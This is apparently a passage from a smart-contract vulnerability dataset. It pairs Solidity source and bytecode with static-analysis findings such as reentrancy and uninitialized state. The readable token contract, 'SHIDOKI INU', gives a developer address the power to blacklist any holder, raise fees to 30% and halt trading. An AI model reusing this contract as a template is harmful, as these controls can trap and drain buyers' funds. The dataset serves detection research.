// ============ Internal Helper ============
function _tokenTransferIn(address from, uint256 amount) internal {
IERC20(_TOKEN_).safeTransferFrom(from, address(this), amount);
}
function _tokenTransferOut(address to, uint256 amount) internal {
IERC20(_TOKEN_).safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101365760003560e01c8063710475f6116100b8578063ca4305191161007c578063ca43051914610232578063cf0e80fe14610245578063d182849614610258578063e5612b3b1461026b578063ef90364214610273578063f2fde38b1461027b57610136565b8063710475f6146101dc5780637db41eae146101f15780638456db1514610204578063b6b55f251461020c578063c2ae16801461021f57610136565b80632a8b0480116100ff5780632a8b04801461019c5780632e1a7d4d146101a457806334520c47146101b95780634e71d92d146101cc5780634e71e0c8146101d457610136565b80621bf8f61461013b57806306def8021461016457806316048bc41461017757806324b327411461018c578063294dafc014610194575b600080fd5b61014e610149366004610bd8565b61028e565b60405161015b9190610f1a565b60405180910390f35b61014e610172366004610bd8565b610355565b61017f6103c3565b60405161015b9190610cd9565b61014e6103d2565b61014e6103d8565b61014e6103de565b6101b76101b2366004610c88565b6103e4565b005b61017f6101c7366004610bd8565b610446565b6101b7610464565b6101b76104ae565b6101e461053c565b60405161015b9190610d2a565b6101b76101ff366004610bd8565b610545565b61017f6105e9565b6101b761021a366004610c88565b6105f8565b6101b761022d366004610bff565b610651565b6101b7610240366004610bd8565b610793565b61014e610253366004610bd8565b610817565b61014e610266366004610bd8565b610832565b6101b761084d565b61014e610886565b6101b7610289366004610bd8565b61088c565b600754600090819081906102a990429063ffffffff61093716565b905060085481101561034c576008546000906102cb908363ffffffff61093716565b905061034860085461033c8361033061030b600360008c6001600160a01b03166001600160a01b0316815260200190815260200160002054600954610964565b6001600160a01b038b166000908152600360205260409020549063ffffffff61093716565b9063ffffffff61098e16565b9063ffffffff6109c816565b9250505b5090505b919050565b600060075442101561036957506000610350565b60006103748361028e565b6001600160a01b0384166000908152600460209081526040808320546003909252909120549192506103bc916103b0908463ffffffff61093716565b9063ffffffff61093716565b9392505050565b6000546001600160a01b031681565b60065481565b60095481565b60075481565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90610e30565b60405180910390fd5b60065461042a908263ffffffff61093716565b600655600054610443906001600160a01b0316826109f2565b50565b6001600160a01b039081166000908152600560205260409020541690565b600061046f33610355565b905061047b33826109f2565b3360009081526004602052604090205461049b908263ffffffff610a1316565b3360009081526004602052604090205550565b6001546001600160a01b031633146104d85760405162461bcd60e51b815260040161040e90610d35565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b600a5460ff1681565b33600090815260036020526040808220546001600160a01b03841683529120546105749163ffffffff610a1316565b6001600160a01b038216600081815260036020908152604080832094909455338252600490528281205491815291909120546105b59163ffffffff610a1316565b6001600160a01b03909116600090815260046020818152604080842094909455338352600381528383208390555290812055565b6001546001600160a01b031681565b6000546001600160a01b031633146106225760405162461bcd60e51b815260040161040e90610e30565b600054610638906001600160a01b031682610a38565b60065461064b908263ffffffff610a1316565b60065550565b6000546001600160a01b0316331461067b5760405162461bcd60e51b815260040161040e90610e30565b82811461069a5760405162461bcd60e51b815260040161040e90610ee3565b6000805b84811015610775576107078484838181106106b557fe5b90506020020135600360008989868181106106cc57fe5b90506020020160208101906106e19190610bd8565b6001600160a01b031681526020810191909152604001600020549063ffffffff610a1316565b6003600088888581811061071757fe5b905060200201602081019061072c9190610bd8565b6001600160a01b0316815260208101919091526040016000205561076b84848381811061075557fe5b9050602002013583610a1390919063ffffffff16565b915060010161069e565b50600654610789908263ffffffff61093716565b6006555050505050565b6000546001600160a01b031633146107bd5760405162461bcd60e51b815260040161040e90610e30565b600a5460ff16156107e05760405162461bcd60e51b815260040161040e90610d5c565b6001600160a01b03811660009081526003602052604081208054919055600654610810908263ffffffff610a1316565b6006555050565b6001600160a01b031660009081526004602052604090205490565b6001600160a01b031660009081526003602052604090205490565b6000546001600160a01b031633146108775760405162461bcd60e51b815260040161040e90610e30565b600a805460ff19166001179055565b60085481565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161040e90610e30565b6001600160a01b0381166108dc5760405162461bcd60e51b815260040161040e90610e09565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000828211156109595760405162461bcd60e51b815260040161040e90610de6565b508082035b92915050565b6000670de0b6b3a764000061097f848463ffffffff61098e16565b8161098657fe5b049392505050565b60008261099d5750600061095e565b828202828482816109aa57fe5b04146103bc5760405162461bcd60e51b815260040161040e90610ec0565b60008082116109e95760405162461bcd60e51b815260040161040e90610dbe565b81838161098657fe5b600254610a0f906001600160a01b0316838363ffffffff610a5616565b5050565b6000828201838110156103bc5760405162461bcd60e51b815260040161040e90610e53565b600254610a0f906001600160a01b031683308463ffffffff610ab116565b610aac8363a9059cbb60e01b8484604051602401610a75929190610d11565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610ad8565b505050565b610ad2846323b872dd60e01b858585604051602401610a7593929190610ced565b50505050565b60006060836001600160a01b031683604051610af49190610ca0565b6000604051808303816000865af19150503d8060008114610b31576040519150601f19603f3d011682016040523d82523d6000602084013e610b36565b606091505b509150915081610b585760405162461bcd60e51b815260040161040e90610d89565b805115610ad25780806020019051810190610b739190610c68565b610ad25760405162461bcd60e51b815260040161040e90610e76565b60008083601f840112610ba0578182fd5b50813567ffffffffffffffff811115610bb7578182fd5b6020830191508360208083028501011115610bd157600080fd5b9250929050565b600060208284031215610be9578081fd5b81356001600160a01b03811681146103bc578182fd5b60008060008060408587031215610c14578283fd5b843567ffffffffffffffff80821115610c2b578485fd5b610c3788838901610b8f565b90965094506020870135915080821115610c4f578384fd5b50610c5c87828801610b8f565b95989497509550505050565b600060208284031215610c79578081fd5b815180151581146103bc578182fd5b600060208284031215610c99578081fd5b5035919050565b60008251815b81811015610cc05760208186018101518583015201610ca6565b81811115610cce5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b602080825260139082015272111254d5149250955511481192539254d21151606a1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b6020808252601c908201527f6261746368206772616e74206c656e677468206e6f74206d6174636800000000604082015260600190565b9081526020019056fea2646970667358221220f5aa5ef46b7627b0a1007d3878c3c551a5c40d6441b2f9c4fb03c850b2211d2a64736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,952 |
0xac3c826c9e21319b42c85a0049e1c7d49afb9471
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIDOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHIDOKI INU";
string private constant _symbol = "SHIDOKI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
uint256 public launchTime;
// Jeets out Fee
uint256 private _redisFeeJeets = 5;
uint256 private _taxFeeJeets = 20;
// Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 12;
// Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 12;
// Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 1;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xDF9A8E91522E26da8F9B3B063e055D98f6Ab84F1);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 hours;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9; //1% - 10000000000
uint256 public _maxWalletSize = 3e10 * 10**9; //3%
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function developmentWallet() public view returns (address) {
return _developmentAddress;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
// Trade start check
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _developmentAddress && from != _developmentAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _developmentAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
// Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
// Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
// antibot
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
// Set Fee for Sells
// TAX SELLERS 25% WHO SELL WITHIN 48 HOURS (13% development + 12% holders redistribution)
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
// Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external {
require(_msgSender() == _developmentAddress);
_swapTokensAtAmount = swapTokensAtAmount;
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount);
}
// Set trading on/off
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external {
require(_msgSender() == _developmentAddress);
_isSniper[sniper] = true;
_confirmedSnipers.push(sniper);
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _developmentAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external {
require(_msgSender() == _developmentAddress);
require(maxTxAmount >= 1e9 * 10**9, "Maximum transaction amount must be greater than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external {
require(_msgSender() == _developmentAddress);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external {
require(_msgSender() == _developmentAddress);
require(amountBuy >= 0 && amountBuy <= 30);
require(amountSell >= 0 && amountSell <= 30);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external {
require(_msgSender() == _developmentAddress);
require(amountRedisJeets >= 0 && amountRedisJeets <= 30);
require(amountTaxJeets >= 0 && amountTaxJeets <= 30);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setBurnFee(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount >= 0 && amount <= 30);
_burnFee = amount;
}
function setTimeJeets(uint256 hoursTime) external {
require(_msgSender() == _developmentAddress);
require(hoursTime >= 0 && hoursTime <= 200);
timeJeets = hoursTime * 1 hours;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external {
require(_msgSender() == _developmentAddress);
require(amountRefBuy >= 0 && amountRefBuy <= 30);
require(amountRefSell >= 0 && amountRefSell <= 30);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
}
|
0x6080604052600436106102085760003560e01c806374010ece116101185780639ec350ed116100a0578063dd62ed3e1161006f578063dd62ed3e1461073c578063e0f9f6a014610779578063ea1644d5146107a2578063f2fde38b146107cb578063fe72c3c1146107f45761020f565b80639ec350ed14610682578063a9059cbb146106ab578063c04a5414146106e8578063c5528490146107135761020f565b80638da5cb5b116100e75780638da5cb5b146105af5780638f70ccf7146105da5780638f9a55c01461060357806395d89b411461062e57806398a5c315146106595761020f565b806374010ece14610507578063790ca413146105305780637d1db4a51461055b578063881dce60146105865761020f565b8063313ce5671161019b5780634bf2c7c91161016a5780634bf2c7c91461044a5780636d8aa8f8146104735780636fc3eaec1461049c57806370a08231146104b3578063715018a6146104f05761020f565b8063313ce567146103a257806338eea22d146103cd5780633e3e9598146103f657806349bd5a5e1461041f5761020f565b806318160ddd116101d757806318160ddd146102e457806323b872dd1461030f57806327c8f8351461034c5780632fd689e3146103775761020f565b806306fdde0314610214578063095ea7b31461023f5780630f3a325f1461027c5780631694505e146102b95761020f565b3661020f57005b600080fd5b34801561022057600080fd5b5061022961081f565b6040516102369190613794565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190613321565b61085c565b604051610273919061375e565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190613234565b61087a565b6040516102b0919061375e565b60405180910390f35b3480156102c557600080fd5b506102ce6108d0565b6040516102db9190613779565b60405180910390f35b3480156102f057600080fd5b506102f96108f6565b60405161030691906139b6565b60405180910390f35b34801561031b57600080fd5b50610336600480360381019061033191906132ce565b610907565b604051610343919061375e565b60405180910390f35b34801561035857600080fd5b506103616109e0565b60405161036e9190613743565b60405180910390f35b34801561038357600080fd5b5061038c6109e6565b60405161039991906139b6565b60405180910390f35b3480156103ae57600080fd5b506103b76109ec565b6040516103c49190613a2b565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef91906133bb565b6109f5565b005b34801561040257600080fd5b5061041d60048036038101906104189190613234565b610a9e565b005b34801561042b57600080fd5b50610434610bbd565b6040516104419190613743565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c919061338e565b610be3565b005b34801561047f57600080fd5b5061049a60048036038101906104959190613361565b610c69565b005b3480156104a857600080fd5b506104b1610d1b565b005b3480156104bf57600080fd5b506104da60048036038101906104d59190613234565b610d8d565b6040516104e791906139b6565b60405180910390f35b3480156104fc57600080fd5b50610505610dde565b005b34801561051357600080fd5b5061052e6004803603810190610529919061338e565b610f31565b005b34801561053c57600080fd5b50610545610fe7565b60405161055291906139b6565b60405180910390f35b34801561056757600080fd5b50610570610fed565b60405161057d91906139b6565b60405180910390f35b34801561059257600080fd5b506105ad60048036038101906105a8919061338e565b610ff3565b005b3480156105bb57600080fd5b506105c46110b7565b6040516105d19190613743565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc9190613361565b6110e0565b005b34801561060f57600080fd5b50610618611199565b60405161062591906139b6565b60405180910390f35b34801561063a57600080fd5b5061064361119f565b6040516106509190613794565b60405180910390f35b34801561066557600080fd5b50610680600480360381019061067b919061338e565b6111dc565b005b34801561068e57600080fd5b506106a960048036038101906106a491906133bb565b611247565b005b3480156106b757600080fd5b506106d260048036038101906106cd9190613321565b6112f0565b6040516106df919061375e565b60405180910390f35b3480156106f457600080fd5b506106fd61130e565b60405161070a9190613743565b60405180910390f35b34801561071f57600080fd5b5061073a600480360381019061073591906133bb565b611338565b005b34801561074857600080fd5b50610763600480360381019061075e919061328e565b6113e1565b60405161077091906139b6565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b919061338e565b611468565b005b3480156107ae57600080fd5b506107c960048036038101906107c4919061338e565b6114fb565b005b3480156107d757600080fd5b506107f260048036038101906107ed9190613234565b611566565b005b34801561080057600080fd5b50610809611728565b60405161081691906139b6565b60405180910390f35b60606040518060400160405280600b81526020017f534849444f4b4920494e55000000000000000000000000000000000000000000815250905090565b600061087061086961172e565b8484611736565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6000610914848484611901565b6109d58461092061172e565b6109d0856040518060600160405280602881526020016141a460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061098661172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b89092919063ffffffff16565b611736565b600190509392505050565b61dead81565b601f5481565b60006009905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a3661172e565b73ffffffffffffffffffffffffffffffffffffffff1614610a5657600080fd5b60008210158015610a685750601e8211155b610a7157600080fd5b60008110158015610a835750601e8111155b610a8c57600080fd5b81600e81905550806010819055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610adf61172e565b73ffffffffffffffffffffffffffffffffffffffff1614610aff57600080fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c2461172e565b73ffffffffffffffffffffffffffffffffffffffff1614610c4457600080fd5b60008110158015610c565750601e8111155b610c5f57600080fd5b8060148190555050565b610c7161172e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf5906138d6565b60405180910390fd5b80601c60166101000a81548160ff02191690831515021790555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d5c61172e565b73ffffffffffffffffffffffffffffffffffffffff1614610d7c57600080fd5b6000479050610d8a8161271c565b50565b6000610dd7600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612788565b9050919050565b610de661172e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a906138d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f7261172e565b73ffffffffffffffffffffffffffffffffffffffff1614610f9257600080fd5b670de0b6b3a7640000811015610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490613896565b60405180910390fd5b80601d8190555050565b600b5481565b601d5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661103461172e565b73ffffffffffffffffffffffffffffffffffffffff161461105457600080fd5b61105d30610d8d565b811115801561106c5750600081115b6110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290613996565b60405180910390fd5b6110b4816127f6565b50565b60008060009054906101000a